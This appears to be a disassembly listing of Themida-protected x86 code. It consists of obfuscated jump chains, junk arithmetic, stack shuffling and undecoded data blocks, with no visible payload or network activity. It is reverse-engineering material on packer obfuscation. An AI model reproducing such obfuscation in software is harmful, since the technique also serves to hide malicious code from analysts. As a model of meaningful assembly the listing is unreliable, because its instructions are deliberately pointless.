

loc_51057A:				; CODE XREF: Themida_:0050F6A9j
		mov	[esp], esi
		push	5BD9h
		mov	[esp], ecx
		jmp	loc_5172F1
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4C781h, 0EF810000h, 4, 5C243C87h, 0FF242C89h, 5D042474h
		dd 8B24048Fh, 0ACE92424h, 81FFFFBDh, 0FB5315F5h, 0D4B95199h
		dd 810E2E7Eh, 7BE120C1h, 0AFEF8155h, 81025467h,	0F6454EC7h
		dd 50CF2975h, 7C5D79B8h, 48D8F72Eh, 2D06E0C1h, 0EAF25C32h
		dd 5658C729h, 636805BEh, 6EC68159h, 87492F75h, 836AE9DEh
		dd 0FFBD0000h, 8136EB73h, 203EEFEDh, 0FF1BE90Ah, 0C381FFFFh
		dd 4, 5C241C87h
		db 55h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_51BB17
; ---------------------------------------------------------------------------
		db 1
		dd 8104246Ch, 0B2042444h, 0FF648679h, 555D2434h, 0FFC83BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_510635:				; CODE XREF: Themida_:00515E71j
		mov	bl, ch
		jmp	loc_50D431
; ---------------------------------------------------------------------------
		dd 4240481h, 0E9000000h, 0CEE6h, 68EB815Bh, 81531B45h
		dd 0A6D373EBh, 8BDE896Ah, 1BE9241Ch, 810000FEh,	0D80EC9C2h
		dd 8852D19h, 0D0017203h, 3088505h, 24148B72h, 4C481h, 2050000h
		dd 87000000h, 685C2404h, 7688h,	0FFC657E9h, 560B68FFh
		dd 81590406h, 6560FF1h,	0DB59E904h, 0CB000000h,	5950EB80h
		dd 0FEBBB050h, 0C05E04C8h, 0E8C006E0h, 13404h, 0BC53E9C3h
		dd 0F3B90000h, 8926EB24h, 0D3F759CBh, 0E9DBF743h, 5CFDh
; ---------------------------------------------------------------------------


loc_5106CC:				; CODE XREF: Themida_:00515319j
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		jmp	loc_51D449
; ---------------------------------------------------------------------------
aUsm		db 'U',0Ah,0
		dw 3100h
aSsg		db 'g',0
		align 2


loc_5106E6:				; CODE XREF: Themida_:0051E7F1j
		mov	edx, [esp]
		jmp	loc_50E3B0
; ---------------------------------------------------------------------------
		dw 0F9F6h
		dd 0CCB60F66h, 0EC63E9h, 4C48100h, 83000000h, 0E95004C0h
		dd 9E47h
; ---------------------------------------------------------------------------


loc_510708:				; CODE XREF: Themida_:0051C774j
		add	esp, 4
		and	eax, ebx
		jmp	loc_5140C7
; ---------------------------------------------------------------------------
		db 66h,	0F7h, 1Ch
		dd 0C6E99C24h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51071F:				; CODE XREF: Themida_:0050D406j
		and	ecx, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		jmp	loc_51FEF2
; ---------------------------------------------------------------------------
a4zs?q		db '(,4Z?Q',0
		dw 5A00h
		dd 4C281h, 0C2810000h, 4, 4EC81h, 14890000h, 2474FF24h
		dd 2434FF04h, 8324148Bh, 33E904C4h, 8900008Fh, 0EAE92424h
		dd 29000029h, 85E959CDh
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_510777:				; CODE XREF: Themida_:0050F2B0j
		add	ecx, 4
		jmp	loc_50C5BA
; ---------------------------------------------------------------------------
		dw 0B866h
		dd 89662A6Fh, 816658C3h, 667FFEF3h, 3DE1E381h, 7CEB8166h
		dd 0D80166E6h, 0F11CE9h, 1BC18100h, 0F70FED6Eh,	7E9C1D1h
		dd 4D7FE181h, 814121E6h, 204C4FE9h, 20B95101h, 0E9641B0Fh
		dd 8832h
; ---------------------------------------------------------------------------


loc_5107C4:				; CODE XREF: Themida_:0051554Dj
		xor	ch, dh
		xor	dh, ch
		xor	ch, dh
		and	ch, 0ECh
		push	edx
		mov	dl, 59h
		sub	dl, 97h
		jmp	loc_50C05D
; ---------------------------------------------------------------------------
		dd 1CED815Bh, 4D30D448h, 534DDDF7h, 376692BBh, 0C04FE92Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5107EE:				; CODE XREF: Themida_:0051E594j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_51871E
; ---------------------------------------------------------------------------
		dw 8953h
		dd 0CDCAE9E3h, 3487FFFFh, 24248B24h, 5C24048Fh,	92E9C80Fh
		dd 290000DDh, 16850C2h,	89000054h, 3CBB241Ch, 533FCC19h
		dd 8A240481h, 58396B41h, 0B009E9h
		db 0
; ---------------------------------------------------------------------------


loc_510839:				; CODE XREF: Themida_:0051045Aj
		pop	edi
		mov	ecx, [esp]
		add	esp, 4
		xor	esi, [esp]
		jmp	loc_51F221
; ---------------------------------------------------------------------------
		db 5
		dd 4, 405h, 24048700h, 0A7685B5Ch, 89000076h, 428F242Ch
		dd 242C8B38h, 0FFFF95E9h, 2080BFFFh, 0B95176BEh, 16D55C00h
		dd 35B5E981h, 0CF31B7CFh, 0EF814F59h, 3BF0553Ah, 0EA4EF81h
		dd 6EE97904h, 0E9000029h, 0FFFFAD4Dh
; ---------------------------------------------------------------------------


loc_510898:				; CODE XREF: Themida_:005164C6j
		add	esp, 4
		add	edi, ecx
		pop	ecx
		add	ebx, edi
		pop	edi
		jmp	loc_518F7B
; ---------------------------------------------------------------------------
		db 68h,	49h, 38h
		dd 24890000h, 24048324h, 167CE904h, 31AD0000h, 78B068D8h
		dd 3C890000h, 47546824h, 34890000h, 65386824h, 348B4B4Fh
		dd 0BFF5E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5108DA:				; CODE XREF: Themida_:0050B603j
		xchg	eax, [esp]
		pop	esp
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_51CF83
; ---------------------------------------------------------------------------
aVs		db 'V',0
		db 0
; ---------------------------------------------------------------------------


loc_5108F5:				; CODE XREF: Themida_:00511A81j
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_51FCB3
; ---------------------------------------------------------------------------
		dw 5742h
		dd 0FFFF60E9h, 28A0B9FFh, 0C9815A3Ah, 31016B70h, 4905E9C1h
		dd 2262C981h, 0E9813E57h, 12F197BBh, 46A7BB53h,	0D3F74BBEh
		dd 8107EBC1h, 0B429B6EBh, 5BD931DCh, 2961E9h, 0AB65200h
		dd 0FFC816E9h, 0A2C381FFh, 6870255Fh, 5271h, 68242C89h
		dd 6A95h, 0FFE9DFE9h, 61C781FFh, 81223835h, 0A383FC7h
		dd 90E95B63h, 80FFFFBBh, 0EFC008F7h, 0A4EF8006h, 30E7F780h
		dd 0DEF65BFEh, 0EE80D6F6h, 0B45066E6h, 0E9E3001Fh, 59D4h
		dd 3304C483h, 2C31242Ch, 242C3324h, 6624248Bh, 2404B30Fh
		dd 0AC37E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5109AE:				; CODE XREF: Themida_:0051751Dj
		shr	ebx, 6
		inc	ebx
		shl	ebx, 5
		inc	ebx
		jmp	loc_516894
; ---------------------------------------------------------------------------
aSPSf		db 'Sp([f',0
		align 4
		dd 240C8B66h, 454B68h, 9452E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5109D6:				; CODE XREF: Themida_:00516C53j
		sub	[esp+4], esi
		push	esi
		jmp	loc_514814
; ---------------------------------------------------------------------------
		dd 33243C31h, 248B243Ch, 4EC8324h, 68240C89h, 33E6h, 6090E9h
		dd 0E9F72900h, 0C6FCh, 59CB295Dh, 515BD829h, 11797EB9h
		dd 0E9814158h, 5AEB75A7h, 8E1C149h, 0C372E981h,	0C801EA2Ch
		dd 0BD3BE959h, 5F59FFFFh, 1F77EE81h, 55E90C80h,	2D000068h
		dd 6B8F413Ah, 3CCEBE56h, 0F0010D21h, 1FA3E9h, 18396800h
		dd 1C890000h, 81E38924h, 4C3h, 0CEEE900h, 0F8010000h, 83243C8Bh
		dd 936804C4h, 8900003Bh, 0B850241Ch, 38065B9h, 8A4AC535h
		dd 486F3509h, 0E95278D8h, 0FFFFBF1Eh, 5EE99C51h, 68FFFFABh
		dd 7AC2h, 89240C89h, 0B494E9E1h, 0EA01FFFFh, 38C7815Dh
		dd 0E934775Bh, 7BAh
; ---------------------------------------------------------------------------


loc_510AA4:				; CODE XREF: Themida_:005139B9j
		mov	esp, [esp]
		imul	ecx
		jmp	loc_51CFAA
; ---------------------------------------------------------------------------
		dw 5854h
		dd 405h, 7ED36800h, 34890000h, 0B6BE924h, 0C1310000h, 2434FF58h
		dd 4C4815Eh, 0FF000000h, 515F2434h, 0C181E189h,	4, 4C181h
		dd 68E90000h, 81000016h, 4ECh, 24048900h, 0F2685854h, 0E900003Fh
		dd 0FFFFF319h, 0C0B60F59h, 0E987048Fh, 0DEBh, 8324348Bh
		dd 75E904C4h
		db 62h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_510B13:				; CODE XREF: Themida_:0050E9A1j
		add	esp, 4
		jmp	loc_520AE5
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 4C78100h, 87000000h, 535C243Ch, 581773BBh, 0A5EB8141h
		dd 506FA174h, 0A75563B8h, 6C760D59h, 0C1485146h, 272D02E0h
		dd 0E92462A9h, 0FFFFE860h
; ---------------------------------------------------------------------------


loc_510B50:				; CODE XREF: Themida_:0050E1CFj
		mov	ecx, 1
		and	eax, ecx
		mov	ecx, [esp]
		jmp	loc_51E71B
; ---------------------------------------------------------------------------
		db 80h
		dd 0D10003F2h, 9A90E9h,	2EAC100h, 8105E2C1h, 55FDBAEAh
		dd 8BD6090Eh, 7AE92414h, 0ADFFFFB5h, 0B134D32Dh, 68DA2D6Fh
		dd 0EC8115CEh, 4, 0E9243489h, 8C71h, 5552E389h,	0AE7013BDh
		dd 0C4CD8160h, 81344674h, 747A25CDh, 2457E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_510BB2:				; CODE XREF: Themida_:0051926Bj
		mov	ebx, esi
		jmp	loc_5164B9
; ---------------------------------------------------------------------------
		db 57h,	83h, 0ECh
		dd 24348904h, 9D0FD4BEh, 0BDEE810Ah, 684D3656h,	3C85h
		dd 68C7E9h
		db 0
; ---------------------------------------------------------------------------


loc_510BD5:				; CODE XREF: Themida_:0051E36Dj
		mov	esi, 4
		add	ecx, esi
		pop	esi
		push	edi
		push	ebx
		mov	ebx, 0DCD36C4h
		neg	ebx
		xor	ebx, 0A1B6A834h
		mov	edi, ebx
		pop	ebx
		add	edi, 2B0255F0h
		add	edi, 8179490Ch
		add	ecx, edi
		pop	edi
		jmp	loc_5161FD
; ---------------------------------------------------------------------------
		db 57h
		dd 2BFh, 5FFA8900h, 5490E9h, 241CF700h,	0A9CBE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_510C1A:				; CODE XREF: Themida_:00517448j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	5929h
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		push	6B16h
		mov	[esp], edi
		mov	edi, 42037779h
		push	edi
		jmp	loc_518050
; ---------------------------------------------------------------------------
		dw 0A068h
		dd 89000030h, 0C3E9242Ch, 8100009Fh, 0F82723C5h, 0FFEE01C2h
		dd 68E92434h, 0B700000Fh, 51AF046Ch, 0EEA2E9h, 24348900h
		dd 0F50DE9h
		db 0
; ---------------------------------------------------------------------------


loc_510C75:				; CODE XREF: Themida_:0050C014j
		and	eax, ecx
		jmp	loc_50F2D4
; ---------------------------------------------------------------------------
		dd 1F2372BBh, 81DBF717h, 0F12007EBh, 0D7F38106h, 0E9640B0Eh
		dd 24B8h, 41AEBE56h, 132D7147h,	1794206h, 61305F0h, 15E7942h
		dd 0F1AEE9F8h, 0C3290000h, 0FFE83FE9h, 8CEA81FFh, 5100E626h
		dd 7A36B3B9h, 0BA54E906h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_510CC6:				; CODE XREF: Themida_:00513301j
		neg	ecx
		jmp	loc_51CE29
; ---------------------------------------------------------------------------
		db 81h,	0E2h, 22h
		dd 8138D120h, 8DEBC3C2h, 0E9D0897Dh, 0FFFFCF1Ah, 815FFA29h
		dd 0F43770C2h, 4B18E900h, 0C7810000h, 2, 2474FF57h, 48F5F04h
		dd 0BE95C24h, 800000D0h, 0EA807FF2h, 306FE95Eh,	48F0000h
		dd 24248B24h, 0D800A304h, 9681E9h, 24148B00h, 0FFB58AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_510D25:				; CODE XREF: Themida_:0050CDFBj
		add	ebp, 13544842h
		xor	ebp, 4FD56FDFh
		jmp	loc_51876C
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 715D638Ah, 0FE05E9h
		db 0, 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_51E6F8
; ---------------------------------------------------------------------------
aZzH4		db 'Z<$\h4!',0
		align 4
		dd 54241489h, 8124148Bh, 4C4h, 4C28100h, 55000000h, 0A342E9h
		dd 0C1D8F700h, 0D0F702E8h, 2147E9h, 0E932FF00h,	0FFFFA865h
		dd 8304C483h, 148904ECh, 4BA24h, 0EB810000h, 2493758Dh
		dd 4261EB81h, 0D301666Eh, 0EBEBE9h
		db 0
; ---------------------------------------------------------------------------


loc_510DA1:				; CODE XREF: Themida_:00518788j
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		jmp	loc_516ABA
; ---------------------------------------------------------------------------
		db 81h
		dd 5824EBF3h, 56BD556Ch, 1990D94h, 91055DEBh, 0E904427Dh
		dd 0C284h, 8350C328h, 248904ECh, 24048324h, 0DCE95804h
		db 0B0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_510DDB:				; CODE XREF: Themida_:0051FA56j
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		jmp	loc_50E725
; ---------------------------------------------------------------------------


loc_510DE7:				; CODE XREF: Themida_:00512A1Bj
		xchg	ebx, [esp]
		mov	eax, [esp]
		jmp	loc_51C3A6
; ---------------------------------------------------------------------------
		dw 8966h
		dd 0F66240Ch, 5AE9C8B6h
		db 7Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_510DFF:				; CODE XREF: Themida_:0050FAA7j
		add	esi, 4
		jmp	loc_51F903
; ---------------------------------------------------------------------------


loc_510E0A:				; CODE XREF: Themida_:0051D3A7j
		sub	edx, 1D2F6BA9h
		jmp	loc_51EB0C
; ---------------------------------------------------------------------------


loc_510E15:				; CODE XREF: Themida_:00512AB2j
		add	[esp+4], eax
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		sub	edx, 67410E8Ah
		mov	ebp, [esp]
		jmp	loc_50D9E1
; ---------------------------------------------------------------------------
		dw 0C231h
		dd 20FDE9h, 4C48100h, 0
		dd 0C83058E1h, 240C8B66h, 1B2968h, 243C8900h, 0C781E789h
		dd 4, 8702C783h, 248B243Ch, 1E05E924h, 555D0000h, 0EF89D589h
		dd 5D2434FFh, 10154E9h,	24048F00h, 7740E9h
		db 0
; ---------------------------------------------------------------------------


loc_510E79:				; CODE XREF: Themida_:0050CB02j
		xor	ebx, [esp]
		pop	esp
		or	eax, eax
		jnz	loc_514EFE
		push	1
		push	dword ptr [esp]
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5103BE
; ---------------------------------------------------------------------------


loc_510E9E:				; CODE XREF: Themida_:0050D843j
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		mov	esi, 0FD437D1h
		mov	ebx, esi
		pop	esi
		sub	[esp+4], ebx
		pop	ebx
		pop	ebp
		push	ecx
		jmp	loc_512584
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0EC52h
; ---------------------------------------------------------------------------


loc_510EC4:				; CODE XREF: Themida_:0051AC63j
		pop	esp
		mov	[esp], ecx
		mov	ecx, 4
		sub	esi, ecx
		pop	ecx
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_50C81B
; ---------------------------------------------------------------------------


loc_510EDB:				; CODE XREF: Themida_:0051F679j
		add	dword ptr [esp+8], 7B4024ECh
		pop	esi
		jmp	loc_51B69B
; ---------------------------------------------------------------------------


loc_510EE9:				; CODE XREF: Themida_:00511BA3j
		mov	edi, 4
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_50C731
; ---------------------------------------------------------------------------


loc_510EFF:				; CODE XREF: Themida_:005169FAj
		push	esp
		jmp	loc_51EA74
; ---------------------------------------------------------------------------
		db 58h,	80h, 0C2h
		dd 1BE953FFh
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_510F0F:				; CODE XREF: Themida_:0050CAE5j
		sub	esp, 4
		jmp	loc_51126E
; ---------------------------------------------------------------------------
		db 0F7h
aQUts		db '',8,'UT',0
		dw 5000h
		dd 0FF98E9h
		db 0
; ---------------------------------------------------------------------------


loc_510F29:				; CODE XREF: Themida_:0050DC33j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_5182A8
; ---------------------------------------------------------------------------
aZqs2		db '2',0
		align 4
		dd 24048F5Dh, 0C528E95Ch, 0C4830000h, 12B7E904h, 54570000h
		dd 0FFD43CE9h, 24248BFFh, 0F706E9C1h, 0C5E981D9h, 18B42FAh
		dd 56E959CAh, 530000C9h, 1C1EBB66h, 0EEEB8166h,	0D9296613h
		dd 83241C8Bh, 0C16604C4h, 496604E1h, 10E98166h,	0BE665652h
		dd 0F7662062h, 0C68166D6h, 29664F68h, 4BE95EF0h, 55FFFFDEh
		dd 0FFE6ACE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_510FA5:				; CODE XREF: Themida_:00511A6Fj
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_519CA4
; ---------------------------------------------------------------------------
		db 87h
		dd 4A5A243Ch, 248FBD55h, 22E92608h, 5CFFFFE8h, 0F0F9E9h
		db 0
; ---------------------------------------------------------------------------


loc_510FC5:				; CODE XREF: Themida_:005209BAj
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_50FBFE
; ---------------------------------------------------------------------------


loc_510FDC:				; CODE XREF: Themida_:00511CAEj
		sub	esi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		and	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		add	ecx, 1
		xor	ecx, 5B7C6EE6h
		xor	ecx, 375E6EA4h
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_50D96F
; ---------------------------------------------------------------------------


loc_51100A:				; CODE XREF: Themida_:00516CD2j
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5117B2
; ---------------------------------------------------------------------------
		dd 0F75AD189h, 38C181D1h, 0C17B393Eh, 0B85003E1h, 64B36844h
		dd 139B68h, 24348900h, 0A9349DBEh, 5EF02119h, 17053F35h
		dd 0B9C7E909h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_511046:				; CODE XREF: Themida_:00511C0Dj
		pop	ebx
		jmp	loc_5104B8
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 89242C89h, 0E9CBE9E5h, 8B5D0000h,	0C483241Ch
		dd 1E95104h
		db 0F4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_511067:				; CODE XREF: Themida_:005178D2j
		push	ebx
		jmp	loc_51A5D8
; ---------------------------------------------------------------------------
aQ8Hs		db 'Q8(h]%',0
		db 0
; ---------------------------------------------------------------------------


loc_511077:				; CODE XREF: Themida_:00518CF1j
		xor	ecx, 277F2CCDh
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		pop	esp
		movsx	ecx, ax
		push	447h
		mov	[esp], eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], ebp
		push	4
		jmp	loc_511491
; ---------------------------------------------------------------------------


loc_5110A4:				; CODE XREF: Themida_:00519C81j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_515518
; ---------------------------------------------------------------------------
		db 0ADh, 52h, 53h
		dd 4A0504BBh, 3DE9432Dh
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5110BB:				; CODE XREF: Themida_:00512B24j
		add	ebp, edi
		jmp	loc_51E79B
; ---------------------------------------------------------------------------
		dw 4B9h
		dd 1000000h, 5904244Ch,	6824348Bh, 89Fh, 81242C89h, 4ECh
		dd 7BE95400h
		db 0BCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5110E3:				; CODE XREF: Themida_:0051CB63j
		mov	esi, 47650952h
		inc	esi
		xor	esi, 9B502D2h
		xor	ebx, esi
		pop	esi
		sub	ebx, 324522E8h
		xor	ebx, 5FCF7982h
		shl	ebx, 5
		xor	ebx, 10AE42C4h
		jmp	loc_50F2E3
; ---------------------------------------------------------------------------
		dd 0D6CF814Fh, 0C16F4720h, 0E95504EFh, 9F06h
; ---------------------------------------------------------------------------


loc_51111C:				; CODE XREF: Themida_:0051F227j
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_50F855
; ---------------------------------------------------------------------------


loc_511127:				; CODE XREF: Themida_:00520864j
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_51A76B
; ---------------------------------------------------------------------------


loc_511138:				; CODE XREF: Themida_:00519F37j
		mov	esi, 720F362Bh
		push	edx
		jmp	loc_50C778
; ---------------------------------------------------------------------------


loc_511143:				; CODE XREF: Themida_:00520F79j
		mov	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		shr	edx, 3
		inc	edx
		jmp	loc_511FBA
; ---------------------------------------------------------------------------


loc_511154:				; CODE XREF: Themida_:00517560j
		pop	esp
		jmp	loc_51AA0B
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 61685524h, 5D4CE225h, 0DAE9DDF7h, 0BD000011h, 4, 2C8BEE01h
		dd 4C48124h, 83000000h,	348704EEh, 24895C24h, 0AAE95324h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51118B:				; CODE XREF: Themida_:0050F290j
		add	esp, 4
		xchg	ebx, [esp]
		jmp	loc_50E33F
; ---------------------------------------------------------------------------
		dw 2C87h
		dd 24248B24h, 0FFC925E9h, 241C89FFh, 0F6685B54h, 8900004Dh
		dd 4BE2434h, 81000000h,	1B0C1CEBh, 56F30134h, 1B0C1CBEh
		dd 0A8C38134h, 12CC418h, 0A8EB81F3h, 5E2CC418h,	4EB815Eh
		dd 33000000h, 99E9241Ch, 89FFFFE5h, 2E9241Ch, 5800001Dh
		dd 9F47E953h, 8B660000h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_5184C1
; ---------------------------------------------------------------------------


loc_51120C:				; CODE XREF: Themida_:0050EFACj
		xor	bl, 1
		add	bl, 0D3h
		sub	al, bl
		jmp	loc_515E87
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0B8E3E9h, 240C8700h,	44B1685Ch, 3C890000h, 7C876824h
		dd 1C890000h, 7DFABB24h, 5E685E82h, 0E9000012h,	60CAh
		dd 0EE2EB9BDh, 0E9EB3119h, 84Fh, 0FE17E951h, 0C180FFFFh
		dd 0E0EFE967h, 0D701FFFFh, 5B38EF81h, 148B3477h, 0E735E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51126E:				; CODE XREF: Themida_:00510F12j
		mov	[esp], edx
		mov	edx, 54DC2CDEh
		push	ebx
		mov	ebx, 0FFFFFFFFh
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		not	edx
		not	edx
		push	esi
		mov	esi, 601372E4h
		jmp	loc_51993D
; ---------------------------------------------------------------------------


loc_511296:				; CODE XREF: Themida_:00513A11j
		pop	ecx
		sub	[esp+4], eax
		sub	dword ptr [esp+4], 58E02C14h
		mov	eax, [esp]
		jmp	loc_512F9E
; ---------------------------------------------------------------------------
		db 50h
		dd 730DE5B8h, 0E9C601F8h, 0FFFFE258h, 0E9240C89h, 1987h
		dd 55EF001h, 2,	90ABE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5112CE:				; CODE XREF: Themida_:0050BFBBj
		pop	ecx
		pop	eax
		push	esi
		mov	esi, 0F0F32F3h
		add	esi, 1BFB4EA8h
		sub	esi, 0ABCD7AA8h
		add	eax, esi
		jmp	loc_51A651
; ---------------------------------------------------------------------------


loc_5112E9:				; CODE XREF: Themida_:005184EBj
		shr	edx, 2
		push	ebx
		mov	ebx, 0A0A1729h
		xor	edx, ebx
		jmp	loc_514631
; ---------------------------------------------------------------------------
		db 5Ch,	0Fh, 0B6h
		dd 8734FFC0h, 0FFA2E0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_511305:				; CODE XREF: Themida_:005114A1j
		push	ebp
		jmp	loc_51F479
; ---------------------------------------------------------------------------
		db 5Ah
		dd 807AB353h, 0C38024E3h, 4CEB808Ch, 2858EB80h,	241C8BDAh
		dd 8004C483h, 0E98067E9h, 80D12808h, 23E908C1h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_511333:				; CODE XREF: Themida_:0050C827j
		mov	eax, 55214BAAh
		shl	eax, 3
		push	5DBAh
		jmp	loc_51E512
; ---------------------------------------------------------------------------


loc_511345:				; CODE XREF: Themida_:0051178Dj
		push	583Ch
		jmp	loc_51DC8F
; ---------------------------------------------------------------------------
		db 81h
		dd 0D8F864C5h, 753205CAh, 2B0547A1h, 153D563h, 632B2DE8h
		dd 322D53D5h, 5D47A175h, 81BBE9h
		db 0
; ---------------------------------------------------------------------------


loc_511371:				; CODE XREF: Themida_:0051995Bj
		mov	ebp, 11327157h
		and	edi, ebp
		jmp	loc_51373A
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240481h, 8B000000h,	0C4832414h, 42F56804h, 3C890000h
		dd 4BF24h, 0C2810000h, 420C6F3Ch, 0EA81FA01h, 420C6F3Ch
		dd 55243C8Bh, 0C5815D54h, 4, 84BD5552h,	0C124083Dh, 0F74D07E5h
		dd 11F581D5h, 5633A677h, 0B172E9h, 37C18100h, 17B4002h
		dd 0A1E959CDh, 80000089h, 0A1E957C1h
		db 74h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5113E3:				; CODE XREF: Themida_:005200F0j
		pop	ebx
		push	ecx
		mov	ecx, 28135D9Bh
		push	ebp
		mov	ebp, 5153780Ch
		and	ecx, ebp
		pop	ebp
		add	ecx, 5B3BC9C6h
		push	eax
		push	ecx
		mov	ecx, 6B403505h
		jmp	loc_50B70C
; ---------------------------------------------------------------------------
a13SI		db '1,$3,$-',0
		align 10h
		dd 4C4835Fh, 2BA52h, 0D6010000h, 0FFBC4CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_511421:				; CODE XREF: Themida_:005171F8j
		sub	esp, 4
		jmp	loc_51A8E8
; ---------------------------------------------------------------------------
		db 1, 0C3h, 81h
		dd 0DC6DDAEBh, 1C875808h, 67E95C24h
		db 90h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51143B:				; CODE XREF: Themida_:0051818Bj
		add	ebp, ecx
		pop	ecx
		jmp	loc_515CD4
; ---------------------------------------------------------------------------


loc_511443:				; CODE XREF: Themida_:0050B6E6j
		mov	edi, [esp]
		add	esp, 4
		xor	ebx, eax
		jmp	loc_519CB1
; ---------------------------------------------------------------------------
		dd 68CB2CACh, 1F72h, 0FFB168E9h, 6BEA81FFh, 5943C032h
		dd 4EC81h, 3C890000h, 2BF24h, 0C2810000h, 2A0E6FD4h, 52E4C281h
		dd 0FA296110h, 52E4EA81h, 0EA816110h, 2A0E6FD4h, 808FE9h
		db 0
; ---------------------------------------------------------------------------


loc_511491:				; CODE XREF: Themida_:0051109Fj
		pop	ebp
		sub	eax, 79B49F0h
		add	eax, ebp
		add	eax, 79B49F0h
		mov	ebp, [esp]
		jmp	loc_511305
; ---------------------------------------------------------------------------
		dw 0B353h
		dd 5BDE3011h, 0C05AF100h, 536605E9h, 0FFE368E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5114B9:				; CODE XREF: Themida_:00513D3Dj
		pop	esi
		add	esp, 4
		push	ebx
		mov	ebx, 31B24314h
		jmp	loc_50F929
; ---------------------------------------------------------------------------


loc_5114C8:				; CODE XREF: Themida_:0051C13Aj
		add	edx, 3DDF73EAh
		jmp	loc_514CF9
; ---------------------------------------------------------------------------


loc_5114D3:				; CODE XREF: Themida_:0050E694j
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		jmp	loc_50D10F
; ---------------------------------------------------------------------------


loc_5114E2:				; CODE XREF: Themida_:0050CF4Ej
		push	ebp
		mov	ebp, 220D4660h
		jmp	loc_50CDDA
; ---------------------------------------------------------------------------


loc_5114ED:				; CODE XREF: Themida_:005143A1j
		pop	ecx
		push	edx
		sub	esp, 4
		jmp	loc_51552B
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 4C781h, 3C870000h, 24248B24h, 555E5456h, 56BCDBDh
		dd 0E3895318h, 4C381h, 0EB830000h, 7D7E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_511526:				; CODE XREF: Themida_:00511FFBj
		inc	eax
		and	eax, 31315BBFh
		xor	eax, 59C850ECh
		xor	ebp, eax
		jmp	loc_50CDBE
; ---------------------------------------------------------------------------
		dd 42474FFh, 5E2434FFh,	4C481h,	48F0000h, 0C5815C24h, 4
